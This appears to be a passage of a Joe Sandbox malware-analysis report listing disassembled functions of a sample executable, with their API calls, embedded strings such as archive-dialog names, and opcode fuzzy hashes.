Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 15ca15d0c16aa781671122f88892e1f59d9a3e18e03b8f8ffabca12c3238b39c
Instruction ID: 4021b7b52b0f548ceaa448df559cf1674737ad27497338d8be0c0efd4c72cca8
Opcode Fuzzy Hash: 15ca15d0c16aa781671122f88892e1f59d9a3e18e03b8f8ffabca12c3238b39c
Instruction Fuzzy Hash: 11017571101784EFC7229B65DC84BCAFBEDFB08B14F004969F15B52160C7B57A55CB90

Function 00BFC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BFC817

Part of subcall function 00BF8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?), ref: 00BF8DE2
Part of subcall function 00BF8DCC: GetLastError.KERNEL32(?,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?,?), ref: 00BF8DF4

_free.LIBCMT ref: 00BFC829
_free.LIBCMT ref: 00BFC83B
_free.LIBCMT ref: 00BFC84D
_free.LIBCMT ref: 00BFC85F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5e9d4d745941b5ed5524f83dd93699aacf5a1d407539c95b5abca974fbfdf942
Instruction ID: 0e4d09389bcecd991ebf60ea156b3900a0f99547a821b64e3146befdd03abbbf
Opcode Fuzzy Hash: 5e9d4d745941b5ed5524f83dd93699aacf5a1d407539c95b5abca974fbfdf942
Instruction Fuzzy Hash: E4F0623250421CABC720DB68E585E3A7BE9EE017907591CADF318D7592CB70FCC4CA50

Function 00BE1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BE1FE5
_wcslen.LIBCMT ref: 00BE1FF6
_wcslen.LIBCMT ref: 00BE2006
_wcslen.LIBCMT ref: 00BE2014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00BDB371,?,?,00000000,?,?,?), ref: 00BE202F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: e876839893e79035377908bfc8e9b92d693165d3779d87c594a50af271c5eab7
Instruction ID: 02eb22746f2b0311eaaacef92945591566edad16b5dd83aed9e6e114820ef7a0
Opcode Fuzzy Hash: e876839893e79035377908bfc8e9b92d693165d3779d87c594a50af271c5eab7
Instruction Fuzzy Hash: 53F09032008058BFCF262F51EC09DDE3FAAEF50B70B118485F61A5B0A2CB72D665D6E0

Function 00BF8900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BF891E

Part of subcall function 00BF8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?), ref: 00BF8DE2
Part of subcall function 00BF8DCC: GetLastError.KERNEL32(?,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?,?), ref: 00BF8DF4

_free.LIBCMT ref: 00BF8930
_free.LIBCMT ref: 00BF8943
_free.LIBCMT ref: 00BF8954
_free.LIBCMT ref: 00BF8965

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ac0305dee7d045d656b7115bd4d89bff7d0dc1134b2713e8ce380fe76965df63
Instruction ID: af61847f82c087960bd83bd5bbd206ada8e24545a29640fcd5076bcb42991edd
Opcode Fuzzy Hash: ac0305dee7d045d656b7115bd4d89bff7d0dc1134b2713e8ce380fe76965df63
Instruction Fuzzy Hash: 18F0DA7582062A9BCF466F14FC0372E3BF1FF25764301199AF614572B1CB724945DB81

Function 00BE15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BE17BC
_swprintf.LIBCMT ref: 00BE186B

Strings

%s: %s, xrefs: 00BE17CB
%ls, xrefs: 00BE1641, 00BE1657

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 3f85889bd68031cc863110f99ff775f5d68209d95e31bde3da0933263565704a
Instruction ID: 232eab142c0ffa4fe5c56e48762a677c4331f87989cf5c6c1a6dcc7043415e22
Opcode Fuzzy Hash: 3f85889bd68031cc863110f99ff775f5d68209d95e31bde3da0933263565704a
Instruction Fuzzy Hash: FA51E0752483C0FAE6211A9E8DC6F3572D5AB15F04F344EC7F396644D1DBB2E810A72A

Function 00BF7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\7aHY4r6vXR.exe,00000104), ref: 00BF7FAE
_free.LIBCMT ref: 00BF8079
_free.LIBCMT ref: 00BF8083

Strings

C:\Users\user\Desktop\7aHY4r6vXR.exe, xrefs: 00BF7FA5, 00BF7FAC, 00BF7FDB, 00BF8013

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\7aHY4r6vXR.exe
API String ID: 2506810119-821618498
Opcode ID: a75f2e1738e2e818a935998d3b483a5041505663d0a7f70c3deca14d0183e1fe
Instruction ID: 5efac321640453d47b7899243393208f76d6e0d26cbe37b16ee6cf3a916f6750
Opcode Fuzzy Hash: a75f2e1738e2e818a935998d3b483a5041505663d0a7f70c3deca14d0183e1fe
Instruction Fuzzy Hash: 8E318F71A0021DAFDB21DFA9DC85EAEBBF8EF95310F5040EAF60497211DA718A48CB51

Function 00BF31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00BF31FB
_abort.LIBCMT ref: 00BF3306

Strings

MOC, xrefs: 00BF320D
RCC, xrefs: 00BF3215

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 3e173be45b90aeff97f5c03ba10397a2e81d3965fe481ef8d5882fd25128aa00
Instruction ID: 2eef9a17145b3190bad49f6499d8f28f1f5f77c1b1f4ce803645006019407194
Opcode Fuzzy Hash: 3e173be45b90aeff97f5c03ba10397a2e81d3965fe481ef8d5882fd25128aa00
Instruction Fuzzy Hash: 0241467190020DAFCF15DF98CD81AAEBBF5FF48704F188099FA04A7222D335AA94DB54

Function 00BD7401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD7406

Part of subcall function 00BD3BBA: __EH_prolog.LIBCMT ref: 00BD3BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00BD74CD

Part of subcall function 00BD7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BD7AAB
Part of subcall function 00BD7A9C: GetLastError.KERNEL32 ref: 00BD7AF1
Part of subcall function 00BD7A9C: CloseHandle.KERNEL32(?), ref: 00BD7B00

Strings

SeSecurityPrivilege, xrefs: 00BD744B
SeRestorePrivilege, xrefs: 00BD7460

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 4bb8ececa5d9bfb9c10fc78203154a2e4c9e388c3f1c98fd4179b908e58d3eef
Instruction ID: 263839756c21dc62819c8f1f52a3ef457055c371ad8d16f5628e30d5d12ba65e
Opcode Fuzzy Hash: 4bb8ececa5d9bfb9c10fc78203154a2e4c9e388c3f1c98fd4179b908e58d3eef
Instruction Fuzzy Hash: 6B319371D44248AADF11EBA49C45BEEBBE9EF59304F0440A7F905A7381FB748A44CB61

Function 00BEAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

EndDialog.USER32(?,00000001), ref: 00BEAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00BEADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00BEADC2

Strings

ASKNEXTVOL, xrefs: 00BEAD28

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: ee1c13991e3a9f8ac90f901bbe501a5f381b0155cab47bf886a254df23a242e0
Instruction ID: f245846b321a6fd2112003149c9407d54b544ade0c197b61580085837f2a299e
Opcode Fuzzy Hash: ee1c13991e3a9f8ac90f901bbe501a5f381b0155cab47bf886a254df23a242e0
Instruction Fuzzy Hash: 2D11D332340240BFD3119F69EC45F6E7BEDEF4A702F0484A1F641DB5A0CB61AA159722

Function 00BDD8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00BDD954
_strncpy.LIBCMT ref: 00BDD99A

Part of subcall function 00BE1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00C11030,00000200,00BDD928,00000000,?,00000050,00C11030), ref: 00BE1DC4

Strings

@%s, xrefs: 00BDD93E
$%s, xrefs: 00BDD949

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: c2bf149ad8a0e262592372c2750a40564a64b0dfd695ce200f417f27cfd458f8
Instruction ID: 804490b269d22b3192096bf22ab6f2e1eccafd802435aa78eb79d73d41881100
Opcode Fuzzy Hash: c2bf149ad8a0e262592372c2750a40564a64b0dfd695ce200f417f27cfd458f8
Instruction Fuzzy Hash: A321637254024CAADB21EFA4CC45FEEBBE8EF05704F0445A3F990962A2F376D648DB51

Function 00BE0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00BDAC5A,00000008,?,00000000,?,00BDD22D,?,00000000), ref: 00BE0E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00BDAC5A,00000008,?,00000000,?,00BDD22D,?,00000000), ref: 00BE0E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00BDAC5A,00000008,?,00000000,?,00BDD22D,?,00000000), ref: 00BE0E9F

Strings

Thread pool initialization failed., xrefs: 00BE0EB7

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 76791d9759e55aa8e4689130b65ba507a49a6f2d7db7a1400f9c6282461f6079
Instruction ID: b3bfff0ebb1d08bf42f8b0016c08a4eabfbe65f49af232dfe033fbb8cc2fce71
Opcode Fuzzy Hash: 76791d9759e55aa8e4689130b65ba507a49a6f2d7db7a1400f9c6282461f6079
Instruction Fuzzy Hash: BE1151B1A547489FD3215F76DC84AABFBECEB69744F14487EF1DAC2200D7B159808B50

Function 00BEB270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

EndDialog.USER32(?,00000001), ref: 00BEB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00BEB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00BEB304

Strings

GETPASSWORD1, xrefs: 00BEB289

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 0307f829f4fce2729bcace890cf0ffbd4bd02ff203bcd2ae925430a5632abe31
Instruction ID: 9c95fb82cc0e66b647854fa6d57b6ba26c00368dcdb8066ec21517356c362983
Opcode Fuzzy Hash: 0307f829f4fce2729bcace890cf0ffbd4bd02ff203bcd2ae925430a5632abe31
Instruction Fuzzy Hash: 08110432900159B7DF219A65AC8AFFF7BACEF09710F0000A1FB46B21C0D7A4DA4097A1

Function 00BEDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00BEDD1C, 00BEDD50
RENAMEDLG, xrefs: 00BEDD31

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 8797dd318a1b3fdc6bfcde48ac583cd9d2d8426bbb2ae7945f751abec92958fe
Instruction ID: 3b9c8e93a99ee5cccf409203e75ec5f2ba3cb5937a9f8c3540bf9be999378f3a
Opcode Fuzzy Hash: 8797dd318a1b3fdc6bfcde48ac583cd9d2d8426bbb2ae7945f751abec92958fe
Instruction Fuzzy Hash: C501B576508285EFDB118F96FC44B9E3BE5F709344B108475F905D3270CB708850DBA0

Function 00BF9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BF9AA9
__alldvrm.LIBCMT ref: 00BF9CAA
__alldvrm.LIBCMT ref: 00BF9CCC

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: d93a00a8774eac78e9fb3cc1eb5cb6b9fe2eef07f4062582b9a516878bd01861
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: 62A15A7290438E9FEB25CF28C8917BEBBE5EF55310F2441EDE6959B282C2358D49C750

Function 00BDA354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00BD7F69,?,?,?), ref: 00BDA3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00BD7F69,?), ref: 00BDA43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00BD7F69,?,?,?,?,?,?,?), ref: 00BDA4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00BD7F69,?,?,?,?,?,?,?,?,?,?), ref: 00BDA4C6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: fa60a393bb77fbdb0396b3f42e51c554b8ff74d8bdd0cca77ad011c836ded668
Instruction ID: 3564c93af1a888a608465ae1536acbb62c3586ec5a3962dadd00afd231d5f142
Opcode Fuzzy Hash: fa60a393bb77fbdb0396b3f42e51c554b8ff74d8bdd0cca77ad011c836ded668
Instruction Fuzzy Hash: E441CF31248381AAD731DF24DC45FAEFBE9AB85710F04099EB5E1932C0E6A49A48DB53

Function 00BD1100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BD112B
_wcslen.LIBCMT ref: 00BD1153
_wcslen.LIBCMT ref: 00BD1182
_wcslen.LIBCMT ref: 00BD11A9

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: dc6657493e90fe2136edfe3b8b751718e8aeb83ede6a7e006482db2fd88ad0fc
Instruction ID: c0c17e9b2fe4407bcbb4cb9bee7e0e37e1a4329abb5114b234250e43d955758c
Opcode Fuzzy Hash: dc6657493e90fe2136edfe3b8b751718e8aeb83ede6a7e006482db2fd88ad0fc
Instruction Fuzzy Hash: 2741A97190066A5FCB25AF688C45AEFBBF8EF11710F00045AFD45F7245DB70AE498BA4

Function 00BFC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

